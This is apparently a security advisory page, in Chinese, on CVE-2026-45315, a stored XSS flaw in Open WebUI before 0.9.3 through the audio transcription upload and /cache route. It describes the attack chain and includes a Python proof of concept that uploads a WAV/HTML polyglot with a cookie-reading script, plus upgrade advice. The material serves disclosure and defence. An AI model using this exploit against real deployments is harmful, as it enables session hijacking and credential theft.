IPBUF安全漏洞报告
English
CVE-2026-45315 CVSS 8.7 高危

CVE-2026-45315 Open WebUI 存储型XSS漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45315
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

CVE-2026-45315XSSStored XSSOpen WebUIFile UploadRCE

漏洞概述

Open WebUI在0.9.3之前的版本中存在严重的安全漏洞。由于音频转录上传端点直接使用用户提供的文件扩展名来确定响应的Content-Type且未设置Content-Disposition,攻击者可上传恶意的HTML文件。当其他用户访问该文件链接时,浏览器会将其作为网页解析并执行其中的恶意脚本,导致用户数据泄露或会话劫持。

技术细节

该漏洞的核心在于Open WebUI处理用户上传文件时缺乏严格的类型验证和响应头控制。在受影响版本中,/cache/{path}路由直接根据文件在磁盘上的扩展名来设置HTTP响应的Content-Type头,且没有添加Content-Disposition头来强制浏览器下载文件。攻击者只需具备默认开启的chat.stt权限,即可构造一个既是有效WAV音频文件又是HTML文档的“多语言”文件。这种文件通过特定的字节排列,既能欺骗音频解析器,又能被浏览器识别为HTML。上传后,服务器将其保存并在访问时返回text/html类型。由于脚本在Open WebUI的源站下运行,这构成了高危的存储型XSS攻击,允许攻击者窃取管理员凭证、执行恶意操作或进一步渗透内网。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Open WebUI,确认拥有默认开启的chat.stt权限。
STEP 2
步骤2
攻击者构造一个恶意多语言文件,该文件包含有效的WAV文件头和嵌入的HTML/JavaScript恶意代码。
STEP 3
步骤3
攻击者通过音频转录上传端点发送该文件,文件名被设置为.html后缀(如pwn.html)。
STEP 4
步骤4
服务器接收文件,根据文件名将其保存为CACHE_DIR/audio/transcriptions/pwn.html。
STEP 5
步骤5
攻击者诱导管理员或其他受害者访问生成的/cache/audio/transcriptions/pwn.html链接。
STEP 6
步骤6
服务器响应请求,Content-Type被设置为text/html,浏览器解析并执行其中的恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-open-webui-url/api/v1/audio/transcriptions" # 1. Create a polyglot file (WAV header + HTML) # WAV header structure (minimal) wav_header = b"RIFF\x24\x00\x00\x00WAVEfmt " wav_header += b"\x10\x00\x00\x00\x01\x00\x01\x00\x44\xAC\x00\x00\x88\x58\x01\x00\x02\x00\x10\x00" wav_header += b"data\x00\x00\x00\x00" # Malicious HTML content html_payload = b"<html><body><script>alert(document.cookie);</script></body></html>" # Combine to create polyglot polyglot_data = wav_header + html_payload # 2. Upload the file files = { 'file': ('pwn.html', polyglot_data, 'audio/wav') } # Attacker's headers (valid session required) headers = { 'Authorization': 'Bearer <valid_token>' } response = requests.post(url, files=files, headers=headers) if response.status_code == 200: print("[+] Upload successful!") print(f"[+] Access the payload at: /cache/audio/transcriptions/pwn.html") else: print("[-] Upload failed")

影响范围

Open WebUI < 0.9.3

防御指南

临时缓解措施
建议立即升级到0.9.3版本以修复此漏洞。如果无法立即升级,应禁用音频转录(STT)功能或严格限制该功能仅受信任的管理员使用,以防止恶意文件上传。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表